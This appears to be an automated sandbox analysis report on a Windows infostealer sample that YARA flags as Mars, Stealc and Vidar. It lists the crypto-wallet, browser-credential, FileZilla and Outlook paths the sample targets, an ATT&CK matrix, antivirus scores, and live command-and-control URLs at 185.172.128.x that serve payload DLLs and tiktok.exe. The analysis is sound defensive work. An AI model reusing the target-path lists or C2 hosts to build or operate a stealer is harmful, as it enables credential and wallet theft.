Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YEnIrzZUUw.exe PID: 7428, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YEnIrzZUUw.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.4190e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.YEnIrzZUUw.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.YEnIrzZUUw.exe.5b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YEnIrzZUUw.exe PID: 7428, type: MEMORYSTR

Source: C:\Users\user\Desktop\YEnIrzZUUw.exe	Code function: 0_2_6CAD0C40 sqlite3_bind_zeroblob,	0_2_6CAD0C40
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00531390 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	7_2_00531390
Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	Code function: 7_2_00532D60 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	7_2_00532D60

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	111 Process Injection	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	144 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
YEnIrzZUUw.exe	55%	ReversingLabs	Win32.Trojan.Generic
YEnIrzZUUw.exe	60%	Virustotal		Browse
YEnIrzZUUw.exe	100%	Avira	HEUR/AGEN.1312652
YEnIrzZUUw.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal		Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	47%	ReversingLabs	Win32.Spyware.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\tiktok[1].exe	51%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	47%	ReversingLabs	Win32.Spyware.Stealc
C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe	51%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
http://185.172.128.111/8e6d9db21fb63946/mozglue.dllb	0%	Avira URL Cloud	safe
http://185.172.128.111/f993692117a3fda2.phpDC	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/vcruntime140.dll$X	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/nss3.dll	0%	Avira URL Cloud	safe
http://185.172.128.111D	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/nss3.dll	2%	Virustotal		Browse
http://185.172.128.111/8e6d9db21fb63946/mozglue.dll	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/freebl3.dllX	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/mozglue.dll	1%	Virustotal		Browse
http://185.172.128.111/8e6d9db21fb63946/softokn3.dll	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe	100%	Avira URL Cloud	malware
http://185.172.128.111/8e6d9db21fb63946/softokn3.dll	1%	Virustotal		Browse
http://185.172.128.203/tiktok.exe00	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/freebl3.dll	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/freebl3.dllT_	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/msvcp140.dll	0%	Avira URL Cloud	safe
http://185.172.128.111/f993692117a3fda2.php5	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe00	15%	Virustotal		Browse
185.172.128.111/f993692117a3fda2.php	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/msvcp140.dll	2%	Virustotal		Browse
http://185.172.128.111/8e6d9db21fb63946/freebl3.dll	2%	Virustotal		Browse
http://185.172.128.111	0%	Avira URL Cloud	safe
http://185.172.128.111/f993692117a3fda2.phpd01eb5849095e97b89aab94ffc51release	0%	Avira URL Cloud	safe
http://185.172.128.111/f993692117a3fda2.php	0%	Avira URL Cloud	safe
http://185.172.128.111	11%	Virustotal		Browse
http://185.172.128.203/tiktok.exet-Disposition:	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exe	20%	Virustotal		Browse
http://185.172.128.111/f993692117a3fda2.phpL	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/sqlite3.dlll_	0%	Avira URL Cloud	safe
http://185.172.128.111/f993692117a3fda2.phprofiles	0%	Avira URL Cloud	safe
http://185.172.128.203/tiktok.exet-Disposition:	15%	Virustotal		Browse
http://185.172.128.111/f993692117a3fda2.php5	5%	Virustotal		Browse
185.172.128.111/f993692117a3fda2.php	15%	Virustotal		Browse
http://185.172.128.111/8e6d9db21fb63946/sqlite3.dll	0%	Avira URL Cloud	safe
http://185.172.128.111/8e6d9db21fb63946/vcruntime140.dll	0%	Avira URL Cloud	safe
http://185.172.128.111/f993692117a3fda2.php	15%	Virustotal		Browse
http://185.172.128.111/8e6d9db21fb63946/vcruntime140.dll	1%	Virustotal		Browse
http://185.172.128.111/8e6d9db21fb63946/sqlite3.dll	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.111/8e6d9db21fb63946/nss3.dll	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111/8e6d9db21fb63946/mozglue.dll	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111/8e6d9db21fb63946/softokn3.dll	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.203/tiktok.exe	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.172.128.111/8e6d9db21fb63946/freebl3.dll	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111/8e6d9db21fb63946/msvcp140.dll	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
185.172.128.111/f993692117a3fda2.php	true	15%, Virustotal, Browse Avira URL Cloud: safe	low
http://185.172.128.111/f993692117a3fda2.php	true	15%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111/8e6d9db21fb63946/sqlite3.dll	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.172.128.111/8e6d9db21fb63946/vcruntime140.dll	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	false		high
http://185.172.128.111/8e6d9db21fb63946/mozglue.dllb	YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	YEnIrzZUUw.exe, YEnIrzZUUw.exe, 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://duckduckgo.com/ac/?q=	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
http://185.172.128.111/8e6d9db21fb63946/vcruntime140.dll$X	YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.111/f993692117a3fda2.phpDC	YEnIrzZUUw.exe, 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.172.128.111D	YEnIrzZUUw.exe, 00000000.00000002.2245920010.00000000041DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://185.172.128.111/8e6d9db21fb63946/freebl3.dllX	YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
http://upx.sf.net	Amcache.hve.9.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp, YEnIrzZUUw.exe, 00000000.00000003.1760827412.00000000245BD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp, YEnIrzZUUw.exe, 00000000.00000003.1760827412.00000000245BD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	false		high
